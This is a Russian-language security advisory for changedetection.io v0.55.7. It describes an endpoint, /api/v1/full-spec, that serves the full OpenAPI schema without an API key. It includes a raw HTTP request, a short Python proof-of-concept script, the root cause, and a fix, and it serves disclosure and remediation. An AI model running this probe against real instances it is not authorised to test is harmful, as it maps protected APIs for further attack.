
PoC: раскрытие схемы OpenAPI без аутентификации в changedetection.io (CVE-2026-71203, Medium 5.3)
Продукт: dgtlmoon/changedetection.io — v0.55.7
Файл: changedetectionio/api/Spec.py
CWE: CWE-306 — Отсутствие аутентификации для критической функции
CVSS 3.1: AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N — 5.3 (средний)
CNA: Turan Security · запись CVE
Ресурсы REST API changedetection.io защищены декоратором @auth.check_token,
который проверяет заголовок x-api-key вызывающей стороны, — за исключением
ресурса Spec, зарегистрированного по адресу /api/v1/full-spec
(), чей метод не имеет ни
, ни .
changedetectionio/api/Spec.pyget@auth.check_token@validate_openapi_requestЛюбой неаутентифицированный сетевой клиент может получить полную схему OpenAPI экземпляра, раскрывающую всю внутреннюю поверхность API (все пути ресурсов, параметры и формы ответов) без предъявления какого-либо API-ключа. Хотя сама схема не является чувствительными пользовательскими данными, она даёт атакующему полную и достоверную карту всех остальных конечных точек API для атаки — снижая стоимость дальнейшей разведки по фактически защищённым ресурсам экземпляра.
GET /api/v1/full-spec HTTP/1.1
Host: target-instance
Не требуется ни заголовок x-api-key, ни куки, ни какие-либо учётные данные.
В ответе возвращается полный документ спецификации OpenAPI.
Подтверждение концепции (Python):
import requests
import sys
target = sys.argv[1] if len(sys.argv) > 1 else "http://localhost:5000"
resp = requests.get(f"{target}/api/v1/full-spec", timeout=10)
print(f"[*] Status: {resp.status_code}")
if resp.status_code == 200:
print("[+] Full OpenAPI schema disclosed with zero authentication:")
print(resp.text[:1000])
Все остальные REST-ресурсы API зарегистрированы с применением
@auth.check_token (и @validate_openapi_request) к их методам-обработчикам;
метод get ресурса Spec не был декорирован аналогичным образом, что делает
его единственной неаутентифицированной конечной точкой на поверхности,
в остальном закрытой API-ключами.
Примените @auth.check_token к Spec.get() по аналогии со всеми остальными
ресурсами API. Если же схема предназначена для публичного доступа, оформите
это как явное задокументированное решение, а не как непоследовательность.